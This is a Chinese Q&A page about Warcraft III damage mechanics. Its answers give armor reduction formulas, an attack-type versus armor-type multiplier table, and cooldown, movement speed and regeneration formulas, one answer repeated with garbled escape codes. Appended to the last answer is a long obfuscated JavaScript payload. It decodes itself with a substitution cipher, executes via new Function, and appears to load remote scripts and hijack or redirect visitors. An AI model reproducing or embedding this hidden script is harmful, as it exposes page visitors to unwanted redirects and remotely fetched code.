魔兽争霸3怎样计算伤害

2025-02-23 17:45:45
推荐回答(5个)
回答1:

[魔兽争霸3]装甲防御计算公式\x0d\x0a\x0d\x0a装甲防御计算公式\x0d\x0a\x0d\x0a(1)若防御力>0:\x0d\x0a\x0d\x0a减少的伤害百分比=(装甲值*0.06)/(装甲值*0.06+1)\x0d\x0a\x0d\x0a假设个单位有A的防御力:\x0d\x0a这时敌人就只能对其造成1-[A*6%/(1+A*6%)]的伤害\x0d\x0a即只能对其造成1/(1+A*6%)的伤害\x0d\x0a所以敌人要付出原本1+A*6%的伤害才能有原本的效果\x0d\x0a换句话说,这个单位就有原本1+6%*A的生命值\x0d\x0a即增加了A*6%的生命值\x0d\x0a\x0d\x0a所以我们得到了一个结论:\x0d\x0a\x0d\x0a每增加1点Armor,相当于增加了6%的生命值\x0d\x0a\x0d\x0a注意魔法是无视防御力的,所以防御力加成所增加的「生命值」不适用于魔法;换言之,防御力越高,法术对其影响越大\x0d\x0a\x0d\x0a注意这个理论不适用于负的防御值,由于一般游戏中很少会有负防御值的情况产生;因此负防御值的公式并不重要,大家稍微看一看就好了…\x0d\x0a\x0d\x0a(2)若防御力<0:\x0d\x0a\x0d\x0a增加的伤害=2-0.94^(-装甲值)\x0d\x0a\x0d\x0a游戏中小数点纳入计算,例如攻击力是6.3时:\x0d\x0a打第一下扣6滴血\x0d\x0a打第二下扣6滴血\x0d\x0a打第三下扣6滴血\x0d\x0a打第四下扣7滴血\x0d\x0a打第五下扣6滴血\x0d\x0a打第六下扣6滴血\x0d\x0a打第七下扣7滴血\x0d\x0a打第八下扣6滴血\x0d\x0a打第九下扣6滴血\x0d\x0a打第十下扣7滴血\x0d\x0a\x0d\x0a攻击类型\x0d\x0a普通(绝大多数的肉搏单位)\x0d\x0a普通攻击对轻型装甲造成额外伤害,但对建筑盔甲的伤害会折损。\x0d\x0a\x0d\x0a穿刺(大部分远程攻击者)\x0d\x0a穿刺攻击对无装甲单位以及重装甲单位造成额外伤害,但是对建筑装甲,轻型装甲,英雄装甲的伤害会折损。\x0d\x0a\x0d\x0a攻城(火炮攻击)\x0d\x0a攻城攻击对建筑装甲以及无装甲造成额外伤害,对轻型以及英雄装甲的伤害会折损。\x0d\x0a\x0d\x0a混乱(一些野生怪物,强有力的召唤单位)\x0d\x0a混乱攻击对所有的盔甲类型造成完整伤害。\x0d\x0a\x0d\x0a法术伤害(大多数的施法者)\x0d\x0a法术攻击对中型装甲有额外伤害,但是对建筑庄稼以及英雄装甲的伤害会折损。\x0d\x0a对法术免疫单位没有影响,对小型单位有伤害。\x0d\x0a\x0d\x0a英雄\x0d\x0a英雄攻击对建筑装甲的伤害会折损。\x0d\x0a\x0d\x0a盔甲类型\x0d\x0a\x0d\x0a无装甲(大多数的施法者)\x0d\x0a无装甲会从穿刺攻击,攻城攻击中受到额外的伤害。\x0d\x0a\x0d\x0a轻型装甲(大部分远程攻击者)\x0d\x0a轻型装甲受到普通攻击额外的伤害,受到较少的穿刺和攻城攻击的伤害。\x0d\x0a\x0d\x0a中型(多数低等级的肉搏单位)\x0d\x0a中型盔甲受到法术攻击额外的伤害。\x0d\x0a\x0d\x0a重型(多数空中单位,高等级肉搏单位)\x0d\x0a重型装甲会受到穿刺攻击额外的伤害。\x0d\x0a\x0d\x0a英雄\x0d\x0a英雄会在穿刺,法术,以及攻城攻击中受到较少的伤害。\x0d\x0a\x0d\x0a建筑(建筑物)\x0d\x0a建筑装甲会从穿刺,法术,普通攻击中受到较少的伤害,但是从攻城攻击中受到额外的伤害。\x0d\x0a\x0d\x0a攻击与盔甲类型关系图解\x0d\x0a\x0d\x0a无甲轻甲中甲重甲城甲英雄甲\x0d\x0a普通100%100%150%100%70%100%\x0d\x0a穿刺150%200%75%100%35%50%\x0d\x0a攻城150%100%50%100%150%50%\x0d\x0a魔法100%125%75%200%35%50%\x0d\x0a英雄100%100%100%100%50%100%\x0d\x0a混乱100%100%100%100%100%100%\x0d\x0a\x0d\x0a伤害在装甲上的减少或增加\x0d\x0a对特定的装甲,所受伤害之减少=((装甲)*0.06)/)(1+0.06*(装甲)\x0d\x0a对於装甲降低,受到额外的攻击计算式是:攻击增加=2-0.94^(装甲降低)。\x0d\x0a\x0d\x0a1点的装甲增加会导致受到的伤害减少5.7%。10点的装甲减少会受到的伤害增加46.1%\x0d\x0a\x0d\x0a这些关系其实就是兵种相克的原因其它计算公式:1.攻击冷却时间(Cooldown,CD):\x0d\x0a\x0d\x0a极快(VeryFast):CD<1.0\x0d\x0a快(Fast):1.0<=CD<1.5\x0d\x0a中等(Average):1.5<=CD<2.0\x0d\x0a慢(Slow):2.0<=CD<3.0\x0d\x0a极慢(VerySlow):3.0

回答2:

[魔兽争霸3] 装甲防御计算公式

装甲防御计算公式

(1)若防御力>0:

减少的伤害百分比=(装甲值 * 0.06)/(装甲值 * 0.06 + 1)

假设个单位有A的防御力:
这时敌人就只能对其造成 1 - [ A * 6% / (1 + A * 6%) ] 的伤害
即只能对其造成 1 / ( 1 + A * 6%) 的伤害
所以敌人要付出原本 1 + A * 6% 的伤害才能有原本的效果
换句话说,这个单位就有原本1 + 6% * A的生命值
即增加了A*6%的生命值

所以我们得到了一个结论:

每增加1点Armor,相当于增加了 6% 的生命值

注意魔法是无视防御力的,所以防御力加成所增加的「生命值」不适用于魔法;换言之,防御力越高,法术对其影响越大

注意这个理论不适用于负的防御值,由于一般游戏中很少会有负防御值的情况产生;因此负防御值的公式并不重要,大家稍微看一看就好了…

(2)若防御力<0:

增加的伤害= 2 - 0.94 ^ (-装甲值)

游戏中小数点纳入计算,例如攻击力是6.3时:
打第一下扣6滴血
打第二下扣6滴血
打第三下扣6滴血
打第四下扣7滴血
打第五下扣6滴血
打第六下扣6滴血
打第七下扣7滴血
打第八下扣6滴血
打第九下扣6滴血
打第十下扣7滴血

攻击类型
普通 (绝大多数的肉搏单位)
普通攻击对轻型装甲造成额外伤害, 但对建筑盔甲的伤害会折损。

穿刺 (大部分远程攻击者)
穿刺攻击对无装甲单位以及重装甲单位造成额外伤害,但是对建筑装甲,轻型装甲,英雄装甲的伤害会折损。

攻城 (火炮攻击)
攻城攻击对建筑装甲以及无装甲造成额外伤害,对轻型以及英雄装甲的伤害会折损。

混乱 (一些野生怪物,强有力的召唤单位)
混乱攻击对所有的盔甲类型造成完整伤害。

法术伤害 (大多数的施法者)
法术攻击对中型装甲有额外伤害,但是对建筑庄稼以及英雄装甲的伤害会折损。
对法术免疫单位没有影响,对小型单位有伤害。

英雄
英雄攻击对建筑装甲的伤害会折损。

盔甲类型

无装甲 (大多数的施法者)
无装甲会从穿刺攻击,攻城攻击中受到额外的伤害。

轻型装甲 (大部分远程攻击者)
轻型装甲受到普通攻击额外的伤害,受到较少的穿刺和攻城攻击的伤害。

中型 (多数低等级的肉搏单位)
中型盔甲受到法术攻击额外的伤害。

重型 (多数空中单位,高等级肉搏单位)
重型装甲会受到穿刺攻击额外的伤害。

英雄
英雄会在穿刺,法术,以及攻城攻击中受到较少的伤害。

建筑 (建筑物)
建筑装甲会从穿刺,法术,普通攻击中受到较少的伤害,但是从攻城攻击中受到额外的伤害。

攻击与盔甲类型关系图解

无甲 轻甲 中甲 重甲 城甲 英雄甲
普通 100% 100% 150% 100% 70% 100%
穿刺 150% 200% 75% 100% 35% 50%
攻城 150% 100% 50% 100% 150% 50%
魔法 100% 125% 75% 200% 35% 50%
英雄 100% 100% 100% 100% 50% 100%
混乱 100% 100% 100% 100% 100% 100%

伤害在装甲上的减少或增加
对特定的装甲, 所受伤害之减少 =((装甲)*0.06)/)(1+0.06*(装甲)
对於装甲降低,受到额外的攻击计算式是:攻击增加=2-0.94^(装甲降低) 。

1点的装甲增加会导致受到的伤害减少5.7%。10点的装甲减少会受到的伤害增加46.1%

这些关系其实就是兵种相克的原因 其它计算公式:1.攻击冷却时间(Cooldown, CD):

极快(Very Fast): CD < 1.0
快(Fast): 1.0 <= CD < 1.5
中等(Average): 1.5 <= CD < 2.0
慢(Slow): 2.0 <= CD < 3.0
极慢(Very Slow): 3.0 < CD
加成前CD=原始CD / ( 1 + Agility * 2% )
加成后CD=原始CD / (1+Agility*2% + ∑技能或物品加成% )

20%≦(1+Agility*2% + ∑技能或物品加成% )≦500%,多退少补
2.攻速(Attack Rate):基本上就是CD的倒数,计算上用这个比较方便看出加成的情形
加成前攻速(Attack Rate/ ATR)= 1 / 加成前冷却时间(CD) = ( 1 + Agility * 2% ) / 原始CD
加成后攻速(Attack Rate/ ATR)= 1 / 加成前冷却时间(CD) = ( 1 + Agility * 2% + ∑技能或物品加成% ) / 原始CD
3.移动速度(Movement Speed):

极快(Very Fast): 350 < 速度
快(Fast): 280 < 速度 <= 350
中等(Average): 220 < 速度 <= 280
慢(Slow): 175 < 速度 <= 220
极慢(Very Slow): 速度 <= 175
移动速度:( 原始移动速度 + Agility * 0 ) * ( 1 + ∑技能或物品加成% ) + ∑技能或物品加成
移动速度上限400,下限150
4.每秒回血量=日夜回血速率 + ( Strength * 0.05 ) + ∑技能或物品加成 + 每秒回血率% * 生命上限
5.每秒回魔量=( Intelligence * 0.05 + 回魔速率 )* ( 1 + ∑技能或物品加成% ) + ∑技能或物品加成 + 每秒回魔率% * 魔力上限

如果魔力上限(Mana Maximum)设为0(内建的英雄大都如此),则回魔速率不计入,但是物品回魔率会把它乘进去(也许是b社的疏忽,谁知道呢?)
每秒回魔量=Intelligence * 0.05 * ( 1 + ∑技能或物品加成% ) + 回魔速率 * ∑技能或物品加成% + ∑技能或物品加成 + 每秒回魔率% * 魔力上限

注释:(黑色:未加成;绿色:加成部分;粉红:未加成+加成 ;套绿色:可藉由改游戏常数调整)
  (累加符号:∑x = x1 + x2 + x3 + ...;累乘符号:∏(1-x) = (1-x1) * (1-x2) * (1-x3) * ...

回答3:

攻击和护甲类型的对照表(附加护甲与攻击伤害减少的计算)

轻型 中型 重型 加强型 英雄 无装甲

普通 100% 150% 100% 70% 100% 100%

穿刺 200% 75% 100% 35% 50% 150%

攻城 100% 50% 100% 150% 50% 150%

魔法 125% 75% 200% 35% 50% 100%

混乱 100% 100% 100% 100% 100% 100%

技能 100% 100% 100% 100% 70% 100%

英雄 100% 100% 100% 50% 100% 100%

伤害在装甲上的减少或增加:
对特定的装甲, 所受伤害之减少 =((装甲)*0.06)/)(1+0.06*(装甲)
对於装甲降低,受到额外的攻击计算式是:攻击增加=2-0.94^(装甲降低) 。

1点的装甲增加会导致受到的伤害减少5.7%。10点的装甲减少会受到的伤害增加46.1%

比如说大G初始护甲为1,伤害减少6%,升级一次后,护甲变为3,按公式算得15.7%,实际为16%.

(1)若防御力>0:

减少的伤害百分比=(装甲值 * 0.06)/(装甲值 * 0.06 + 1)
大家会不会觉得这个公式很烦呢?其实Blizzard这样设定是有原因的

假设个单位有A的防御力:
这时敌人就只能对其造成 1 - [ A * 6% / (1 + A * 6%) ] 的伤害

即只能对其造成 1 / ( 1 + A * 6%) 的伤害
所以敌人要付出原本 1 + A * 6% 的伤害才能有原本的效果
换句话说,这个单位就有原本1 + 6% * A的生命值
即增加了A*6%的生命值

回答4:

攻击力 乘百分之100-护甲 乘 物理抗性

回答5:

该怎么样计算,就怎么样计算呗

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();